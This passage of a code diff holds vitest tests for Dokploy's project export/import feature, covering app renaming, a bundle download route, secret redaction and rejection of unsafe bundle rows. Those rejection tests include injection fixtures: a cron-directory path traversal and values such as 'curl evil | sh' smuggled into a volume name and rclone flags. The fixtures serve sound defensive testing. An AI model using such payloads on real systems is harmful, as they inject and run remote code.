expect(result.startsWith("singleword-")).toBe(true);
|
||||
});
|
||||
|
||||
it("produces a different name on every call", () => {
|
||||
const first = regenerateAppName("application", "myapp-verb-noun-ab12cd");
|
||||
const second = regenerateAppName("application", "myapp-verb-noun-ab12cd");
|
||||
expect(first).not.toBe(second);
|
||||
});
|
||||
});
|
||||
|
||||
describe("replaceAppNames", () => {
|
||||
it("replaces a standalone app name reference", () => {
|
||||
const result = replaceAppNames("DEPLOY_TARGET=app-foo ready", {
|
||||
"app-foo": "app-bar",
|
||||
});
|
||||
expect(result).toBe("DEPLOY_TARGET=app-bar ready");
|
||||
});
|
||||
|
||||
it("does not touch a key that only matches mid-token (left boundary)", () => {
|
||||
const result = replaceAppNames("myapp-foo deployed", { foo: "bar" });
|
||||
expect(result).toBe("myapp-foo deployed");
|
||||
});
|
||||
|
||||
it("prefers the longest match when both names are in the map (prefix collision)", () => {
|
||||
const result = replaceAppNames("app-foo-bar and app-foo both here", {
|
||||
"app-foo": "short-renamed",
|
||||
"app-foo-bar": "long-renamed",
|
||||
});
|
||||
expect(result).toBe("long-renamed and short-renamed both here");
|
||||
});
|
||||
|
||||
it("returns the text unchanged when the map is empty", () => {
|
||||
expect(replaceAppNames("app-foo", {})).toBe("app-foo");
|
||||
});
|
||||
|
||||
it("returns null/empty text unchanged", () => {
|
||||
expect(replaceAppNames("", { "app-foo": "app-bar" })).toBe("");
|
||||
});
|
||||
});
|
||||
|
||||
describe("rewriteVolumeName", () => {
|
||||
it("reports rewritten: true when the name changes", () => {
|
||||
const result = rewriteVolumeName("app-foo-data", {
|
||||
"app-foo": "app-bar",
|
||||
});
|
||||
expect(result).toEqual({ value: "app-bar-data", rewritten: true });
|
||||
});
|
||||
|
||||
it("reports rewritten: false when nothing matches", () => {
|
||||
const result = rewriteVolumeName("unrelated-volume", {
|
||||
"app-foo": "app-bar",
|
||||
});
|
||||
expect(result).toEqual({ value: "unrelated-volume", rewritten: false });
|
||||
});
|
||||
});
|
||||
|
||||
describe("rewriteSslipIoIp", () => {
|
||||
it("swaps the trailing IP segment of an auto-generated sslip.io host for the destination's IP", () => {
|
||||
const result = rewriteSslipIoIp(
|
||||
"my-app-ab12cd-10-0-0-5.sslip.io",
|
||||
"203.0.113.9",
|
||||
);
|
||||
expect(result).toBe("my-app-ab12cd-203-0-113-9.sslip.io");
|
||||
});
|
||||
|
||||
it("leaves a non-sslip.io host untouched", () => {
|
||||
const result = rewriteSslipIoIp("api.example.com", "203.0.113.9");
|
||||
expect(result).toBe("api.example.com");
|
||||
});
|
||||
|
||||
it("leaves the host untouched when no destination IP is known", () => {
|
||||
const result = rewriteSslipIoIp("my-app-ab12cd-10-0-0-5.sslip.io", null);
|
||||
expect(result).toBe("my-app-ab12cd-10-0-0-5.sslip.io");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,198 @@
|
||||
import { PassThrough } from "node:stream";
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
let sessionToReturn: {
|
||||
session: { activeOrganizationId: string } | null;
|
||||
user: { id: string } | null;
|
||||
} = {
|
||||
session: { activeOrganizationId: "org-1" },
|
||||
user: { id: "user-1" },
|
||||
};
|
||||
|
||||
vi.mock("@dokploy/server/lib/auth", () => ({
|
||||
validateRequest: vi.fn(() => Promise.resolve(sessionToReturn)),
|
||||
}));
|
||||
|
||||
const { streamBox } = vi.hoisted(() => ({
|
||||
streamBox: { content: Buffer.from("bundle bytes"), exitCode: 0 },
|
||||
}));
|
||||
|
||||
vi.mock(
|
||||
"@dokploy/server/services/project-export-import",
|
||||
async (importOriginal) => {
|
||||
const actual =
|
||||
await importOriginal<
|
||||
typeof import("@dokploy/server/services/project-export-import")
|
||||
>();
|
||||
const { PassThrough: Pass } = await import("node:stream");
|
||||
return {
|
||||
...actual,
|
||||
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
|
||||
findOrganizationDestination: vi.fn(
|
||||
async (destinationId: string, organizationId: string) => {
|
||||
if (destinationId === "dest-1" && organizationId === "org-1") {
|
||||
return { destinationId, bucket: "b", organizationId };
|
||||
}
|
||||
throw new Error("Destination not found");
|
||||
},
|
||||
),
|
||||
listBundles: vi.fn(async () => [
|
||||
{
|
||||
key: `${actual.EXPORTS_DIRECTORY}/p-1.dokploy.tar.gz`,
|
||||
size: streamBox.content.length,
|
||||
modTime: "2024-01-01T00:00:00.000Z",
|
||||
},
|
||||
]),
|
||||
streamBundleFromDestination: vi.fn(async () => {
|
||||
const stdout = new Pass();
|
||||
const stdin = new Pass();
|
||||
stdin.resume();
|
||||
process.nextTick(() => stdout.end(streamBox.content));
|
||||
return {
|
||||
stdin,
|
||||
stdout,
|
||||
stderr: new Pass(),
|
||||
exit: Promise.resolve(streamBox.exitCode),
|
||||
close: () => {},
|
||||
};
|
||||
}),
|
||||
};
|
||||
},
|
||||
);
|
||||
|
||||
const { assertTransferPermission, EXPORTS_DIRECTORY } = await import(
|
||||
"@dokploy/server/services/project-export-import"
|
||||
);
|
||||
const handler = (await import("../../pages/api/project-export-import/bundle"))
|
||||
.default;
|
||||
|
||||
const buildReq = (query: Record<string, string>, method = "GET") => ({
|
||||
method,
|
||||
query,
|
||||
headers: {},
|
||||
});
|
||||
|
||||
const buildRes = () => {
|
||||
const body = new PassThrough();
|
||||
const chunks: Buffer[] = [];
|
||||
body.on("data", (chunk) => chunks.push(chunk as Buffer));
|
||||
const res = body as unknown as PassThrough & {
|
||||
statusCode: number;
|
||||
jsonBody?: unknown;
|
||||
headers: Record<string, unknown>;
|
||||
status: (code: number) => typeof res;
|
||||
json: (value: unknown) => void;
|
||||
setHeader: (key: string, value: unknown) => void;
|
||||
body: () => Buffer;
|
||||
};
|
||||
res.statusCode = 200;
|
||||
res.headers = {};
|
||||
res.status = (code) => {
|
||||
res.statusCode = code;
|
||||
return res;
|
||||
};
|
||||
res.json = (value) => {
|
||||
res.jsonBody = value;
|
||||
res.end();
|
||||
};
|
||||
res.setHeader = (key, value) => {
|
||||
res.headers[key] = value;
|
||||
};
|
||||
res.body = () => Buffer.concat(chunks);
|
||||
return res;
|
||||
};
|
||||
|
||||
const goodKey = `${EXPORTS_DIRECTORY}/p-1.dokploy.tar.gz`;
|
||||
|
||||
beforeEach(() => {
|
||||
sessionToReturn = {
|
||||
session: { activeOrganizationId: "org-1" },
|
||||
user: { id: "user-1" },
|
||||
};
|
||||
streamBox.exitCode = 0;
|
||||
});
|
||||
|
||||
describe("bundle download route", () => {
|
||||
it("rejects unauthenticated requests", async () => {
|
||||
sessionToReturn = { session: null, user: null };
|
||||
const res = buildRes();
|
||||
await handler(
|
||||
buildReq({ destinationId: "dest-1", key: goodKey }) as any,
|
||||
res as any,
|
||||
);
|
||||
expect(res.statusCode).toBe(401);
|
||||
});
|
||||
|
||||
it("rejects keys outside the exports directory or with the wrong extension", async () => {
|
||||
for (const key of [
|
||||
"backups/prod.sql.gz",
|
||||
`${EXPORTS_DIRECTORY}/../secret.dokploy.tar.gz`,
|
||||
`${EXPORTS_DIRECTORY}/notes.txt`,
|
||||
]) {
|
||||
const res = buildRes();
|
||||
await handler(
|
||||
buildReq({ destinationId: "dest-1", key }) as any,
|
||||
res as any,
|
||||
);
|
||||
expect(res.statusCode).toBe(400);
|
||||
}
|
||||
});
|
||||
|
||||
it("rejects a non-owner caller", async () => {
|
||||
vi.mocked(assertTransferPermission).mockRejectedValueOnce(
|
||||
new Error("Only organization owners and admins can do that"),
|
||||
);
|
||||
const res = buildRes();
|
||||
await handler(
|
||||
buildReq({ destinationId: "dest-1", key: goodKey }) as any,
|
||||
res as any,
|
||||
);
|
||||
expect(res.statusCode).toBe(403);
|
||||
});
|
||||
|
||||
it("returns 404 for a destination outside the organization", async () => {
|
||||
const res = buildRes();
|
||||
await handler(
|
||||
buildReq({ destinationId: "dest-other", key: goodKey }) as any,
|
||||
res as any,
|
||||
);
|
||||
expect(res.statusCode).toBe(404);
|
||||
});
|
||||
|
||||
it("returns 404 for a bundle that is not in the listing", async () => {
|
||||
const res = buildRes();
|
||||
await handler(
|
||||
buildReq({
|
||||
destinationId: "dest-1",
|
||||
key: `${EXPORTS_DIRECTORY}/missing.dokploy.tar.gz`,
|
||||
}) as any,
|
||||
res as any,
|
||||
);
|
||||
expect(res.statusCode).toBe(404);
|
||||
});
|
||||
|
||||
it("streams the object with the right headers", async () => {
|
||||
const res = buildRes();
|
||||
await handler(
|
||||
buildReq({ destinationId: "dest-1", key: goodKey }) as any,
|
||||
res as any,
|
||||
);
|
||||
expect(res.statusCode).toBe(200);
|
||||
expect(res.headers["Content-Length"]).toBe(streamBox.content.length);
|
||||
expect(res.headers["Content-Disposition"]).toContain("p-1.dokploy.tar.gz");
|
||||
expect(res.body().equals(streamBox.content)).toBe(true);
|
||||
});
|
||||
|
||||
it("answers with a JSON error when listing the destination fails", async () => {
|
||||
const { listBundles } = await import(
|
||||
"@dokploy/server/services/project-export-import"
|
||||
);
|
||||
vi.mocked(listBundles).mockRejectedValueOnce(new Error("bad credentials"));
|
||||
const res = buildRes();
|
||||
await handler(
|
||||
buildReq({ destinationId: "dest-1", key: goodKey }) as any,
|
||||
res as any,
|
||||
);
|
||||
expect(res.statusCode).toBe(502);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,182 @@
|
||||
import type {
|
||||
Plan,
|
||||
Snapshot,
|
||||
TransferWriteDb,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { apply } from "@dokploy/server/services/project-export-import";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const manifest: Snapshot["manifest"] = {
|
||||
format: "dokploy-project-export",
|
||||
formatVersion: 1,
|
||||
exportedAt: "2024-01-01T00:00:00.000Z",
|
||||
exportedBy: { userId: "user-1", email: "a@b.com" },
|
||||
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
|
||||
scope: {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
},
|
||||
crypto: {
|
||||
salt: "c2FsdA==",
|
||||
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
|
||||
keyCheck: "{}",
|
||||
},
|
||||
counts: {},
|
||||
};
|
||||
|
||||
const plan = (overrides: Partial<Plan> = {}): Plan => ({
|
||||
target: { kind: "newProject", name: "p" },
|
||||
resolutions: {},
|
||||
serverMap: { null: null },
|
||||
appNameMap: { "web-abc123": "web-xyz789" },
|
||||
domainStrategy: { custom: "keep" },
|
||||
portsStrategy: "keep",
|
||||
rotateDatabaseCredentials: false,
|
||||
conflicts: [],
|
||||
pendingServices: [],
|
||||
warnings: [],
|
||||
validation: [],
|
||||
summary: { counts: {}, domains: 0, dumps: 0 },
|
||||
...overrides,
|
||||
});
|
||||
|
||||
const writeDb = () =>
|
||||
({
|
||||
query: {
|
||||
server: { findFirst: async () => undefined },
|
||||
webServerSettings: { findFirst: async () => undefined },
|
||||
mounts: { findMany: async () => [] },
|
||||
github: { findFirst: async () => undefined },
|
||||
gitlab: { findFirst: async () => undefined },
|
||||
gitea: { findFirst: async () => undefined },
|
||||
bitbucket: { findFirst: async () => undefined },
|
||||
},
|
||||
insert: () => ({
|
||||
values: (values: Record<string, unknown>) => ({
|
||||
returning: async () => [
|
||||
{
|
||||
...values,
|
||||
projectId: "project-new",
|
||||
environmentId: "env-new",
|
||||
applicationId: "app-new",
|
||||
destinationId: "dest-new",
|
||||
},
|
||||
],
|
||||
}),
|
||||
}),
|
||||
update: () => ({ set: () => ({ where: async () => {} }) }),
|
||||
transaction: async (fn: (tx: unknown) => Promise<unknown>) => fn(writeDb()),
|
||||
}) as unknown as TransferWriteDb;
|
||||
|
||||
const appWith = (mount: Record<string, unknown>): Snapshot => ({
|
||||
manifest,
|
||||
resources: {
|
||||
project: { projectId: "project-src", name: "p", env: "" },
|
||||
environments: [{ environmentId: "env-1", name: "production", env: "" }],
|
||||
services: [
|
||||
{
|
||||
kind: "application",
|
||||
applicationId: "app-1",
|
||||
appName: "web-abc123",
|
||||
environmentId: "env-1",
|
||||
mounts: [mount],
|
||||
},
|
||||
],
|
||||
shared: {},
|
||||
},
|
||||
requirements: [],
|
||||
warnings: [],
|
||||
dumps: [],
|
||||
});
|
||||
|
||||
describe("apply rejects unsafe bundle rows", () => {
|
||||
it("refuses a file mount whose filePath escapes the service directory", async () => {
|
||||
const snapshot = appWith({
|
||||
mountId: "m-1",
|
||||
type: "file",
|
||||
filePath: "../../../etc/cron.d/x",
|
||||
content: "* * * * * root id",
|
||||
mountPath: "/x",
|
||||
});
|
||||
await expect(
|
||||
apply(writeDb(), snapshot, plan(), new Map(), "org-dest"),
|
||||
).rejects.toThrow(/Unsafe mount filePath/);
|
||||
});
|
||||
|
||||
it("refuses a volume mount with a shell-unsafe volume name", async () => {
|
||||
const snapshot = appWith({
|
||||
mountId: "m-1",
|
||||
type: "volume",
|
||||
volumeName: "x:/v; curl evil | sh; #",
|
||||
mountPath: "/data",
|
||||
});
|
||||
await expect(
|
||||
apply(writeDb(), snapshot, plan(), new Map(), "org-dest"),
|
||||
).rejects.toThrow(/Invalid volume name/);
|
||||
});
|
||||
|
||||
it("refuses a destination whose additional rclone flags don't match the API rule", async () => {
|
||||
const snapshot: Snapshot = {
|
||||
manifest,
|
||||
resources: {
|
||||
project: { projectId: "project-src", name: "p", env: "" },
|
||||
environments: [],
|
||||
services: [],
|
||||
shared: {
|
||||
destination: [
|
||||
{
|
||||
destinationId: "dest-src",
|
||||
name: "backups",
|
||||
bucket: "b",
|
||||
endpoint: "e",
|
||||
region: "r",
|
||||
accessKey: "$secret:a",
|
||||
secretAccessKey: "$secret:b",
|
||||
additionalFlags: ["; curl http://evil | sh #"],
|
||||
},
|
||||
],
|
||||
},
|
||||
},
|
||||
requirements: [
|
||||
{
|
||||
kind: "destination",
|
||||
originalId: "dest-src",
|
||||
configIncluded: true,
|
||||
usedBy: [],
|
||||
bucket: "b",
|
||||
endpoint: "e",
|
||||
region: "r",
|
||||
},
|
||||
],
|
||||
warnings: [],
|
||||
dumps: [],
|
||||
};
|
||||
await expect(
|
||||
apply(
|
||||
writeDb(),
|
||||
snapshot,
|
||||
plan({
|
||||
resolutions: {
|
||||
"destination:dest-src": {
|
||||
requirementKey: "destination:dest-src",
|
||||
action: "create",
|
||||
},
|
||||
},
|
||||
}),
|
||||
new Map([
|
||||
["a", "ak"],
|
||||
["b", "sk"],
|
||||
]),
|
||||
"org-dest",
|
||||
),
|
||||
).rejects.toThrow(/invalid additional rclone flags/);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,440 @@
|
||||
import type {
|
||||
ExportScope,
|
||||
TransferDb,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import {
|
||||
CaptureNotFoundError,
|
||||
capture,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const application1 = {
|
||||
applicationId: "app-1",
|
||||
name: "app-1",
|
||||
appName: "app-one",
|
||||
environmentId: "env-1",
|
||||
env: "DB_PASS=hunter2\nAPI_KEY=abc123",
|
||||
buildArgs: null,
|
||||
serverId: "server-1",
|
||||
buildServerId: "server-1",
|
||||
githubId: "gh-1",
|
||||
gitlabId: null,
|
||||
giteaId: null,
|
||||
bitbucketId: null,
|
||||
refreshToken: "webhook-token-1",
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
domains: [
|
||||
{ domainId: "dom-1", host: "app-1.example.com", createdAt: "2024-01-01" },
|
||||
],
|
||||
mounts: [
|
||||
{
|
||||
mountId: "mount-1",
|
||||
type: "file",
|
||||
content: "server { listen 80; }",
|
||||
createdAt: "2024-01-01",
|
||||
},
|
||||
{
|
||||
mountId: "mount-2",
|
||||
type: "bind",
|
||||
content: null,
|
||||
createdAt: "2024-01-01",
|
||||
},
|
||||
],
|
||||
redirects: [],
|
||||
security: [
|
||||
{
|
||||
securityId: "sec-1",
|
||||
username: "admin",
|
||||
password: "basicauthpass",
|
||||
createdAt: "2024-01-01",
|
||||
},
|
||||
],
|
||||
ports: [],
|
||||
schedules: [],
|
||||
volumeBackups: [],
|
||||
};
|
||||
|
||||
const application2 = {
|
||||
applicationId: "app-2",
|
||||
name: "app-2",
|
||||
appName: "app-two",
|
||||
environmentId: "env-2",
|
||||
env: "",
|
||||
serverId: "server-1",
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
domains: [],
|
||||
mounts: [],
|
||||
redirects: [],
|
||||
security: [],
|
||||
ports: [],
|
||||
schedules: [],
|
||||
volumeBackups: [],
|
||||
};
|
||||
|
||||
const postgres1 = {
|
||||
postgresId: "pg-1",
|
||||
name: "pg-1",
|
||||
appName: "pg-one",
|
||||
environmentId: "env-1",
|
||||
env: "PGPASS=supersecret",
|
||||
databasePassword: "realdbpassword",
|
||||
serverId: "server-1",
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
mounts: [],
|
||||
backups: [
|
||||
{
|
||||
backupId: "backup-1",
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
metadata: {
|
||||
mariadb: { databaseUser: "u", databasePassword: "metasecret" },
|
||||
},
|
||||
},
|
||||
],
|
||||
volumeBackups: [],
|
||||
};
|
||||
|
||||
const mysql1 = {
|
||||
mysqlId: "mysql-1",
|
||||
name: "mysql-1",
|
||||
appName: "mysql-one",
|
||||
environmentId: "env-1",
|
||||
env: "",
|
||||
serverId: "server-1",
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
mounts: [],
|
||||
backups: [],
|
||||
volumeBackups: [],
|
||||
};
|
||||
|
||||
const emptyServiceArrays = {
|
||||
mariadb: [],
|
||||
mongo: [],
|
||||
redis: [],
|
||||
libsql: [],
|
||||
compose: [],
|
||||
};
|
||||
|
||||
const projectTree = {
|
||||
projectId: "project-1",
|
||||
name: "my-project",
|
||||
organizationId: "org-1",
|
||||
env: "",
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
environments: [
|
||||
{
|
||||
environmentId: "env-1",
|
||||
name: "production",
|
||||
projectId: "project-1",
|
||||
env: "",
|
||||
isDefault: true,
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
applications: [application1],
|
||||
postgres: [postgres1],
|
||||
mysql: [mysql1],
|
||||
...emptyServiceArrays,
|
||||
},
|
||||
{
|
||||
environmentId: "env-2",
|
||||
name: "staging",
|
||||
projectId: "project-1",
|
||||
env: "",
|
||||
isDefault: false,
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
applications: [application2],
|
||||
postgres: [],
|
||||
mysql: [],
|
||||
...emptyServiceArrays,
|
||||
},
|
||||
],
|
||||
};
|
||||
|
||||
const fakeDb = (): TransferDb =>
|
||||
({
|
||||
query: {
|
||||
projects: {
|
||||
findFirst: async () => projectTree,
|
||||
},
|
||||
environments: {
|
||||
findFirst: async () => undefined,
|
||||
},
|
||||
applications: {
|
||||
findMany: async () => [application1, application2],
|
||||
findFirst: async () => undefined,
|
||||
},
|
||||
schedules: {
|
||||
findMany: async () => [],
|
||||
},
|
||||
volumeBackups: {
|
||||
findMany: async () => [],
|
||||
},
|
||||
},
|
||||
}) as any;
|
||||
|
||||
const baseScope: ExportScope = {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
};
|
||||
|
||||
const noopOpts = {
|
||||
detectRequirements: () => [],
|
||||
detectWarnings: () => [],
|
||||
};
|
||||
|
||||
describe("capture", () => {
|
||||
it("throws CaptureNotFoundError when the project doesn't exist", async () => {
|
||||
const db = {
|
||||
query: {
|
||||
projects: { findFirst: async () => undefined },
|
||||
environments: { findFirst: async () => undefined },
|
||||
},
|
||||
} as any as TransferDb;
|
||||
await expect(
|
||||
capture(db, { kind: "project", id: "missing" }, baseScope, noopOpts),
|
||||
).rejects.toThrow(CaptureNotFoundError);
|
||||
});
|
||||
|
||||
it("filters by environmentIds and serviceIds", async () => {
|
||||
const result = await capture(
|
||||
fakeDb(),
|
||||
{ kind: "project", id: "project-1" },
|
||||
{
|
||||
...baseScope,
|
||||
environmentIds: ["env-1"],
|
||||
serviceIds: ["app-1", "pg-1"],
|
||||
},
|
||||
noopOpts,
|
||||
);
|
||||
|
||||
expect(result.resources.environments).toHaveLength(1);
|
||||
expect(result.resources.environments[0]?.environmentId).toBe("env-1");
|
||||
expect(result.resources.services).toHaveLength(2);
|
||||
const ids = result.resources.services
|
||||
.map((s) => (s.applicationId ?? s.postgresId) as string)
|
||||
.sort();
|
||||
expect(ids).toEqual(["app-1", "pg-1"]);
|
||||
});
|
||||
|
||||
it("never leaks NEVER_EXPORT_FIELDS", async () => {
|
||||
const result = await capture(
|
||||
fakeDb(),
|
||||
{ kind: "project", id: "project-1" },
|
||||
baseScope,
|
||||
noopOpts,
|
||||
);
|
||||
|
||||
const serialized = JSON.stringify(result.resources);
|
||||
for (const forbidden of [
|
||||
"server-1",
|
||||
"gh-1",
|
||||
"webhook-token-1",
|
||||
"2024-01-01T00:00:00.000Z",
|
||||
]) {
|
||||
expect(serialized).not.toContain(forbidden);
|
||||
}
|
||||
});
|
||||
|
||||
it("replaces every SECRET_FIELDS value with $secret: and recovers it via secretsPlain", async () => {
|
||||
const result = await capture(
|
||||
fakeDb(),
|
||||
{ kind: "project", id: "project-1" },
|
||||
baseScope,
|
||||
noopOpts,
|
||||
);
|
||||
|
||||
const serialized = JSON.stringify(result.resources);
|
||||
expect(serialized).not.toContain("hunter2");
|
||||
expect(serialized).not.toContain("abc123");
|
||||
expect(serialized).not.toContain("supersecret");
|
||||
expect(serialized).not.toContain("basicauthpass");
|
||||
expect(serialized).not.toContain("server { listen 80; }");
|
||||
expect(serialized).not.toContain("realdbpassword");
|
||||
expect(serialized).not.toContain("metasecret");
|
||||
|
||||
const pg1Resource = result.resources.services.find(
|
||||
(s) => s.postgresId === "pg-1",
|
||||
) as Record<string, unknown>;
|
||||
expect(String(pg1Resource.databasePassword)).toMatch(/^\$secret:/);
|
||||
expect(
|
||||
result.secretsPlain.get(
|
||||
String(pg1Resource.databasePassword).slice("$secret:".length),
|
||||
),
|
||||
).toBe("realdbpassword");
|
||||
const pgBackups = pg1Resource.backups as Record<string, unknown>[];
|
||||
expect(String(pgBackups[0]?.metadata)).toMatch(/^\$secret:/);
|
||||
|
||||
const app1Resource = result.resources.services.find(
|
||||
(s) => s.applicationId === "app-1",
|
||||
) as Record<string, unknown>;
|
||||
expect(app1Resource.env).toMatch(
|
||||
/^DB_PASS=\$secret:.+\nAPI_KEY=\$secret:.+$/,
|
||||
);
|
||||
|
||||
const dbPassId = (app1Resource.env as string).match(
|
||||
/DB_PASS=\$secret:([^\n]+)/,
|
||||
)?.[1];
|
||||
expect(dbPassId).toBeDefined();
|
||||
expect(result.secretsPlain.get(dbPassId as string)).toBe("hunter2");
|
||||
|
||||
const mounts = app1Resource.mounts as Record<string, unknown>[];
|
||||
const fileMount = mounts.find((m) => m.mountId === "mount-1");
|
||||
expect(String(fileMount?.content)).toMatch(/^\$secret:/);
|
||||
const bindMount = mounts.find((m) => m.mountId === "mount-2");
|
||||
expect(bindMount?.content).toBeNull();
|
||||
|
||||
const security = app1Resource.security as Record<string, unknown>[];
|
||||
expect(String(security[0]?.password)).toMatch(/^\$secret:/);
|
||||
});
|
||||
|
||||
it("redacts secrets instead of capturing them when includeEnvSecrets is false", async () => {
|
||||
const result = await capture(
|
||||
fakeDb(),
|
||||
{ kind: "project", id: "project-1" },
|
||||
{ ...baseScope, includeEnvSecrets: false },
|
||||
noopOpts,
|
||||
);
|
||||
|
||||
expect(result.secretsPlain.size).toBe(0);
|
||||
const app1Resource = result.resources.services.find(
|
||||
(s) => s.applicationId === "app-1",
|
||||
) as Record<string, unknown>;
|
||||
expect(app1Resource.env).toBe(
|
||||
"DB_PASS=$secret:REDACTED\nAPI_KEY=$secret:REDACTED",
|
||||
);
|
||||
});
|
||||
|
||||
it("redacts a vault provider's config when exported by value (shared.vault, not shared.vaultProvider)", async () => {
|
||||
const db = {
|
||||
query: {
|
||||
...(fakeDb() as any).query,
|
||||
vaultProvider: {
|
||||
findFirst: async () => ({
|
||||
vaultProviderId: "vault-1",
|
||||
name: "prod",
|
||||
providerType: "hashicorp",
|
||||
organizationId: "org-1",
|
||||
config: { token: "s.super-secret-vault-token" },
|
||||
assignments: [
|
||||
{ projectId: "old-project", environmentIds: ["old-env"] },
|
||||
],
|
||||
}),
|
||||
},
|
||||
},
|
||||
} as any as TransferDb;
|
||||
|
||||
const result = await capture(
|
||||
db,
|
||||
{ kind: "project", id: "project-1" },
|
||||
{ ...baseScope, shared: { vaultProvider: "value" } },
|
||||
{
|
||||
detectRequirements: () => [
|
||||
{
|
||||
kind: "vault",
|
||||
originalId: "vault-1",
|
||||
configIncluded: true,
|
||||
usedBy: [],
|
||||
providerName: "prod",
|
||||
providerType: "hashicorp",
|
||||
secretKeys: [],
|
||||
},
|
||||
],
|
||||
detectWarnings: () => [],
|
||||
},
|
||||
);
|
||||
|
||||
const serialized = JSON.stringify(result.resources.shared);
|
||||
expect(serialized).not.toContain("s.super-secret-vault-token");
|
||||
expect(serialized).not.toContain("old-project");
|
||||
|
||||
const [vaultRow] = result.resources.shared.vault ?? [];
|
||||
expect(String(vaultRow?.config)).toMatch(/^\$secret:/);
|
||||
const secretId = String(vaultRow?.config).slice("$secret:".length);
|
||||
expect(JSON.parse(result.secretsPlain.get(secretId) ?? "{}")).toEqual({
|
||||
token: "s.super-secret-vault-token",
|
||||
});
|
||||
expect(vaultRow?.assignments).toBeUndefined();
|
||||
});
|
||||
|
||||
it("builds an inventory reflecting the filtered scope", async () => {
|
||||
const result = await capture(
|
||||
fakeDb(),
|
||||
{ kind: "project", id: "project-1" },
|
||||
{ ...baseScope, environmentIds: ["env-1"] },
|
||||
noopOpts,
|
||||
);
|
||||
|
||||
expect(result.inventory.environments).toHaveLength(1);
|
||||
expect(result.inventory.environments[0]).toMatchObject({
|
||||
id: "env-1",
|
||||
services: { application: 1, postgres: 1, mysql: 1 },
|
||||
});
|
||||
expect(result.inventory.totals.domain).toBe(1);
|
||||
expect(result.inventory.totals.mount).toBe(2);
|
||||
});
|
||||
|
||||
it("excludes backup schedules when scope.includeBackupSchedules is false", async () => {
|
||||
const result = await capture(
|
||||
fakeDb(),
|
||||
{ kind: "project", id: "project-1" },
|
||||
{ ...baseScope, includeBackupSchedules: false },
|
||||
noopOpts,
|
||||
);
|
||||
|
||||
const postgresRow = result.resources.services.find(
|
||||
(service) => service.kind === "postgres",
|
||||
);
|
||||
expect(postgresRow?.backups).toEqual([]);
|
||||
expect(result.inventory.totals.backup).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
describe("capture project tags", () => {
|
||||
it("flattens projectTags into resources.project.tags", async () => {
|
||||
const db = fakeDb();
|
||||
(db.query.projects as any).findFirst = async () => ({
|
||||
...projectTree,
|
||||
projectTags: [
|
||||
{ tag: { tagId: "t-1", name: "prod", color: "#f00" } },
|
||||
{ tag: { tagId: "t-2", name: "billing", color: null } },
|
||||
],
|
||||
});
|
||||
const result = await capture(
|
||||
db,
|
||||
{ kind: "project", id: "project-1" },
|
||||
baseScope,
|
||||
noopOpts,
|
||||
);
|
||||
expect(result.resources.project.tags).toEqual([
|
||||
{ name: "prod", color: "#f00" },
|
||||
{ name: "billing", color: null },
|
||||
]);
|
||||
expect(result.resources.project).not.toHaveProperty("projectTags");
|
||||
});
|
||||
|
||||
it("forces vault and dns providers to reference when env secrets are excluded", async () => {
|
||||
const db = fakeDb();
|
||||
(db.query as any).dnsProvider = {
|
||||
findMany: async () => [
|
||||
{ dnsProviderId: "dns-1", name: "cf", config: {} },
|
||||
],
|
||||
};
|
||||
const result = await capture(
|
||||
db,
|
||||
{ kind: "project", id: "project-1" },
|
||||
{
|
||||
...baseScope,
|
||||
includeEnvSecrets: false,
|
||||
shared: { dnsProvider: "value", vaultProvider: "value" },
|
||||
},
|
||||
noopOpts,
|
||||
);
|
||||
expect(result.resources.shared.dnsProvider).toBeUndefined();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,134 @@
|
||||
import { existsSync } from "node:fs";
|
||||
import { mkdir, mkdtemp, rm, utimes } from "node:fs/promises";
|
||||
import { tmpdir } from "node:os";
|
||||
import { join } from "node:path";
|
||||
import {
|
||||
createExportJob,
|
||||
createImportJob,
|
||||
sweepOrphanedTransferDirectories,
|
||||
sweepRemoteTransferDirectories,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
|
||||
const actual =
|
||||
await importOriginal<
|
||||
typeof import("@dokploy/server/utils/process/execAsync")
|
||||
>();
|
||||
return { ...actual, execAsyncRemote: vi.fn() };
|
||||
});
|
||||
|
||||
let root: string;
|
||||
|
||||
beforeEach(async () => {
|
||||
root = await mkdtemp(join(tmpdir(), "transfer-cleanup-"));
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
await rm(root, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
const fakePaths = () => ({ PROJECT_EXPORT_IMPORT_PATH: root }) as any;
|
||||
|
||||
const makeStaleDir = async (name: string) => {
|
||||
